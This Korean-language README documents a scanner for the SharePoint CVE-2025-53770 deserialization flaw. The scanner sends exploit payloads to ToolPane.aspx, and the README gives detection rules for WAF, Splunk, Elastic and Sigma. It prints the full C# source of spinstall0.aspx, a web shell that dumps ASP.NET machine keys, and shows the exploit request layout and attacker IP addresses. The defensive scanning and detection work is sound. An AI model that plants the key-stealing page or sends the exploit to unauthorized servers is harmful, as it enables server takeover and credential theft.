CVE-2025-53770 SharePoint 취약점 스캐너

100% 주변에 떠도는 트윗과 페이로드, 다양한 공격 기법을 급조해서 만든 도구이므로, 어떤 보증도 제공되지 않습니다. 이 스캐너는 취약한 인스턴스를 식별하도록 설계되었으며, 실제 공격에서 확인된 악용 사례가 포함된 설정을 제공합니다. 주로 방어 목적으로 사용되어 취약한 인스턴스를 식별하고 패치를 적용할 수 있도록 지원합니다.

이 스캐너는 SharePoint 배포 환경을 다음과 같이 자동 점검합니다:

악용 페이로드가 포함된 변조된 POST 요청을 SharePoint ToolPane 엔드포인트에 전송
머신 키 추출 시도 및 성공적인 악용 탐지
2차 페이로드 배포(spinstall0.aspx) 식별
관찰된 공격 패턴을 기반으로 취약점 지표 응답 분석
신뢰 수준 및 즉시 조치 알림이 포함된 상세 보고 제공
효율성을 위한 동시 스캔 지원

주요 탐지 기능

중요: 머신 키 추출 탐지

머신 키 추출 성공 응답 탐지
ValidationKey, DecryptionKey 및 CompatibilityMode 노출 식별
파이프로 구분된 머신 키 패턴 인식 (ValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode)
손상된 시스템에 대한 즉시 조치 알림 트리거

2차 페이로드 탐지

spinstall0.aspx 배포 시도 식별
C# ASP.NET 페이로드 코드 패턴 탐지
System.Web.Configuration.MachineKeySection 사용 인식
버전별 경로 탐지 (SP2013: WEBSER~1\15\ vs SP2016+: WEBSER~1\16\)

설치

저장소를 클론합니다:

git clone https://github.com/ZephrFish/CVE-2025-53770-Scanner
cd CVE-2025-53770-Scanner

의존성을 설치합니다:

pip install -r requirements.txt

사용법

기본 사용법

대상 호스트가 포함된 텍스트 파일을 생성합니다 (한 줄에 하나):

sharepoint1.example.com
sharepoint2.example.net
internal-sp.company.local

스캐너를 실행합니다:

python3 scanner.py -i hosts.txt

python3 scanner.py -i hosts.txt -o results.json -l scan.log -t 20 -v

명령줄 옵션

출력 형식

JSON 출력 (`-o results.json`)

[
  {
    "host": "sharepoint.example.com",
    "url": "https://sharepoint.example.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx",
    "scan_time": "2025-07-21T10:30:00.123456",
    "vulnerable": true,
    "status_code": 200,
    "response_size": 15432,
    "error": null,
    "response_time": 1.23
  }
]

CSV 출력 (`-o results.csv`)

스프레드시트 분석에 적합한 표 형식 데이터를 제공하며, 모든 스캔 지표에 대한 열을 포함합니다.

텍스트 출력 (`-o results.txt`)

취약점 상태와 스캔 세부 정보를 포함한 사람이 읽을 수 있는 형식입니다.

취약점 세부 정보

CVE-2025-53770은 실제 환경에서 활발히 악용되고 있는 SharePoint ExcelDataSet 구성 요소의 역직렬화 취약점을 대상으로 합니다. 스캐너는 다음을 탐지합니다:

확인된 공격 패턴

초기 악용: 직렬화된 페이로드가 포함된 POST 요청을 /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx로 전송

머신 키 추출: 성공적인 악용 시 파이프로 구분된 머신 구성이 반환됩니다:

ValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode
Example: [128-256 hex chars]|HMACSHA256|[48-96 hex chars]|AES|Framework45

2차 페이로드: 지속적 접근과 키 추출을 위한 spinstall0.aspx 배포
버전별 타게팅: SharePoint 버전에 따른 서로 다른 경로 (15/ vs 16/ layouts)

실제 악용에서 확인된 IOCs

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer: /_layouts/SignOut.aspx
Content-Length: 일반적으로 7699-8000+ 바이트
Payload Size: 대용량 base64로 인코딩된 CompressedDataTable 매개변수
응답 지표: 머신 키 문자열, spinstall0.aspx 배포
공격 인프라: 65.38.121.198, 162.243.204.189, 165.22.18.129

탐지 로직

스캐너는 다음 항목에 대해 응답을 분석합니다:

머신 키 추출 패턴 (치명적 신뢰도)
2차 페이로드 지표 (높은 신뢰도)
ExcelDataSet/Scorecard 구성 요소 처리 (중간 신뢰도)
ToolPane 오류 패턴 및 비정상 응답 특성 (낮은 신뢰도)

보안 고려 사항

이 도구는 인가된 보안 테스트 전용으로 설계되었습니다.
시스템을 스캔하기 전에 적절한 권한을 확인하세요.
스캐너는 기본적으로 HTTPS를 사용하지만 자체 서명 인증서를 허용합니다.
로그에는 민감한 정보가 포함될 수 있으므로 적절히 보호하세요.
높은 스레드 수를 사용할 때 네트워크 영향을 고려하세요.

예제 스캔 세션

$ python3 scanner.py -i corporate-sharepoint.txt -o vuln-results.json -l scan.log -v

Starting scan of 150 hosts with 10 threads...
Target CVE: CVE-2025-53770 (SharePoint ExcelDataSet deserialization)
Logging to: scan.log
Results will be saved to: vuln-results.json

[+] VULNERABLE [CRITICAL]: sp-prod-01.acme.local
[-] Not vulnerable: sp-dev-02.acme.local  
[!] ERROR: offline-sp.acme.local - Connection timeout
[+] VULNERABLE [HIGH]: sp-legacy.acme.local
Progress: 50/150 (33.3%)
Progress: 100/150 (66.7%)
Progress: 150/150 (100.0%)

============================================================
SCAN COMPLETE
============================================================
Total hosts scanned: 150
Vulnerable hosts: 3
Success rate: 97.3%

VULNERABLE HOSTS (CVE-2025-53770):

  CRITICAL - MACHINE KEY EXTRACTED (1 hosts):
    • sp-prod-01.acme.local (Response time: 0.85s, Version: 2016+)
      WARNING: IMMEDIATE ACTION REQUIRED: Machine keys compromised

  HIGH CONFIDENCE (1 hosts):
    • sp-legacy.acme.local (Response time: 1.23s, Version: 2013-2016)

  LOW CONFIDENCE (1 hosts):
    • sp-archive.acme.local (Response time: 2.10s, Version: Unknown)

Detailed results saved to: vuln-results.json

문제 해결

일반적인 문제

연결 시간 초과: 시간 제한을 늘리거나 스레드 수를 줄이세요.
SSL 오류: 스캐너는 기본적으로 SSL 경고를 비활성화합니다.
권한 오류: 출력/로그 파일에 대한 쓰기 권한을 확인하세요.
메모리 사용량: 대규모 호스트 목록을 사용할 때 모니터링하세요.

로그 분석

상세 문제 해결을 위해 상세 로깅(-v)과 로그 파일(-l)을 활성화하세요:

tail -f scan.log

악용 분석

관찰된 공격 페이로드

스캐너는 활발한 공격에서 관찰된 확인된 악용 패턴에 대한 탐지를 포함합니다:

기본 페이로드 구조

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: target.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close

MSOTlPn_Uri=http%3A%2F%2F{{host}}%2F_controltemplates%2F15%2FAclEditor.ascx
&MSOTlPn_DWP=[ExcelDataSet payload with CompressedDataTable containing serialized exploit]

2차 페이로드 (spinstall0.aspx)

<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
    public void Page_load()
    {
        var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
        var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
        var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
        var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
        Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
    }
</script>

예상 머신 키 응답 형식

ValidationKey: [128-256 character hex string]
Validation: HMACSHA256|HMACSHA1|SHA1
DecryptionKey: [48-96 character hex string] 
Decryption: AES|DES|3DES
CompatibilityMode: Framework20SP1|Framework45|Framework40

탐지 및 모니터링 지침

CVE-2025-53770 악용 시도 탐지

조직은 잠재적인 악용 시도를 식별하기 위해 다음 탐지 메커니즘을 구현해야 합니다:

1. 웹 애플리케이션 방화벽(WAF) 규칙

SharePoint ToolPane 엔드포인트로 전송되는 의심스러운 POST 요청을 모니터링하세요:

# Example WAF detection rule patterns
POST /_layouts/15/ToolPane.aspx*
POST /_layouts/*/ToolPane.aspx*
Query string: "DisplayMode=Edit&a=/ToolPane.aspx"
Request body containing: "MSOTlPn_Uri", "MSOTlPn_DWP"
Request body containing: "ExcelDataSet", "CompressedDataTable"
Request body containing: "Scorecard:ExcelDataSet"
Request body containing: "H4sIAAAAAAAEA" (gzip magic bytes in base64)
Content-Length > 5000 bytes (typical payload size)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Referer: /_layouts/SignOut.aspx

관찰된 악용 패턴:

페이로드 크기는 일반적으로 7000-8000+ 바이트
CompressedDataTable 매개변수에 URL 인코딩된 압축 데이터
특정 User-Agent 문자열: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Content-Type: application/x-www-form-urlencoded
Connection: close 헤더가 자주 포함됨
페이로드에 Base64로 인코딩된 직렬화된 .NET 객체
응답에 파이프로 구분된 형식의 머신 키 포함
배포된 spinstall0.aspx 파일에 대한 2차 요청

2. SharePoint ULS 로그

SharePoint ULS(Unified Logging Service) 로그에서 다음을 모니터링하세요:

Category: SharePoint Foundation Web Controls
Level: Unexpected, Error, Critical
Keywords: "ToolPane", "ExcelDataSet", "Deserialization"
Process: w3wp.exe

ULS 로그의 주요 지표:

ToolPane.aspx 처리 중 예기치 않은 예외
Microsoft.PerformancePoint 구성 요소의 역직렬화 오류
w3wp.exe의 메모리 손상 또는 프로세스 충돌

3. IIS 액세스 로그

악용 패턴을 식별하기 위해 IIS 로그를 모니터링하세요:

# Log analysis queries (replace with your SIEM syntax)
cs-method="POST" AND cs-uri-stem="/_layouts/15/ToolPane.aspx"
cs-method="POST" AND cs-uri-query="DisplayMode=Edit&a=/ToolPane.aspx"
cs-bytes > 7000 (typical exploit payload size)
cs(User-Agent)="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
cs(Referer)="/_layouts/SignOut.aspx"
sc-status=200 AND time-taken > 5000 (slow processing indicating deserialization)

실제 공격에서 확인된 특정 IOCs:

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Content-Length: 7699
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer: /_layouts/SignOut.aspx
Body contains: MSOTlPn_Uri=http%3A%2F%2F[domain]%2F_controltemplates%2F15%2FAclEditor.ascx
Body contains: CompressedDataTable%3D%22H4sIAAAAAAAEANVa23LbSJLt3stEzMzu0%2F6AQs%2B2BJCiu%2BWQ

4. 네트워크 트래픽 분석

네트워크 트래픽에서 다음을 모니터링하세요:

SharePoint 서버로 전송되는 비정상적으로 큰 POST 요청
단일 소스에서 ToolPane.aspx로 반복되는 요청
HTTP POST 본문의 Base64 인코딩 페이로드
SharePoint를 대상으로 하는 비브라우저 User-Agent 문자열

5. Windows 이벤트 로그

SharePoint 서버의 Windows 이벤트 로그를 모니터링하세요:

Event Log: Application
Source: ASP.NET, SharePoint Foundation
Event IDs: 1309, 1310 (application errors)
Event Log: System
Source: Application Error
Process: w3wp.exe crashes

6. SIEM 탐지 규칙

Splunk 탐지 쿼리:

index=iis source="*iis*" 
| search cs_method="POST" cs_uri_stem="/_layouts/15/ToolPane.aspx" cs_uri_query="DisplayMode=Edit&a=/ToolPane.aspx"
| eval payload_size=tonumber(cs_bytes)
| where payload_size > 7000
| search cs_User_Agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
| stats count by src_ip, cs_uri_stem, payload_size
| sort -payload_size

실제 공격에 대한 향상된 탐지:

index=iis 
| search cs_method="POST" AND cs_uri_stem="/_layouts/15/ToolPane.aspx"
| where cs_bytes > 7000 AND cs_bytes < 10000
| search cs_Referer="/_layouts/SignOut.aspx"
| eval attack_pattern=if(like(cs_User_Agent, "%Windows NT 10.0; Win64; x64; rv:120.0%"), "CVE-2025-53770", "Other")
| where attack_pattern="CVE-2025-53770"
| table _time, src_ip, cs_uri_query, cs_bytes, sc_status

Elastic/Kibana 쿼리:

{
  "query": {
    "bool": {
      "must": [
        {"term": {"http.request.method": "POST"}},
        {"term": {"url.path": "/_layouts/15/ToolPane.aspx"}},
        {"term": {"url.query": "DisplayMode=Edit&a=/ToolPane.aspx"}},
        {"range": {"http.request.bytes": {"gte": 7000, "lte": 10000}}},
        {"term": {"user_agent.original": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"}},
        {"term": {"http.request.referrer": "/_layouts/SignOut.aspx"}}
      ]
    }
  }
}

CVE-2025-53770용 Sigma 규칙:

title: CVE-2025-53770 SharePoint ExcelDataSet Exploitation
id: cve-2025-53770-sharepoint-exploit
description: Detects exploitation attempts of CVE-2025-53770 SharePoint deserialization vulnerability
references:
    - https://github.com/your-repo/CVE-2025-53770-Scanner
author: Security Team
date: 2025/07/21
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/_layouts/15/ToolPane.aspx'
        cs-uri-query: 'DisplayMode=Edit&a=/ToolPane.aspx'
        cs-bytes: 
            - gte: 7000
            - lte: 10000
        cs-User-Agent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0'
        cs-Referer: '/_layouts/SignOut.aspx'
    condition: selection
falsepositives:
    - Legitimate SharePoint administrative activities
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.53770

7. 행동 지표

다음과 같은 악용 후 행동을 주시하세요:

SharePoint 서버에서 발생하는 비정상적인 외부 네트워크 연결
SharePoint 또는 Active Directory에 생성된 새로운 사용자 계정
승인되지 않은 파일 업로드 또는 수정
권한 상승 시도
다른 시스템으로의 측면 이동

권장 대응 조치

즉시 대응:
- 방화벽/WAF에서 의심스러운 소스 IP 차단
- 악용이 확인되면 영향을 받은 SharePoint 서버 격리
- 포렌식 분석을 위한 로그 및 메모리 덤프 보존
조사:
- 악성 콘텐츠가 있는지 POST 요청 페이로드 분석
- 성공적인 코드 실행 지표 확인
- 사용자 계정 활동 및 권한 변경 검토
- 다른 보안 이벤트와 상관 분석
차단 및 격리:
- 보안 패치 즉시 적용
- 악용 시도를 차단하는 WAF 규칙 구현
- SharePoint 서버를 중요한 네트워크 리소스와 분리

SIEM 통합 예제

Splunk로 스캔 결과 가져오기:

# Convert scan results for Splunk ingestion
python3 scanner.py -i hosts.txt -o results.json
# Import into Splunk index
curl -k -H "Authorization: Splunk <token>" -X POST \
  "https://splunk-server:8088/services/collector" \
  -d @results.json

`-i, --input`	호스트 목록 파일 경로 (필수)	-
`-o, --output`	결과 출력 파일 (.json, .csv, .txt)	None
`-l, --logfile`	상세 로깅을 위한 로그 파일 경로	None
`-t, --threads`	동시 스레드 수	10
`-v, --verbose`	상세 출력 및 로깅 활성화	False

CVE-2025-53770-Scanner

인기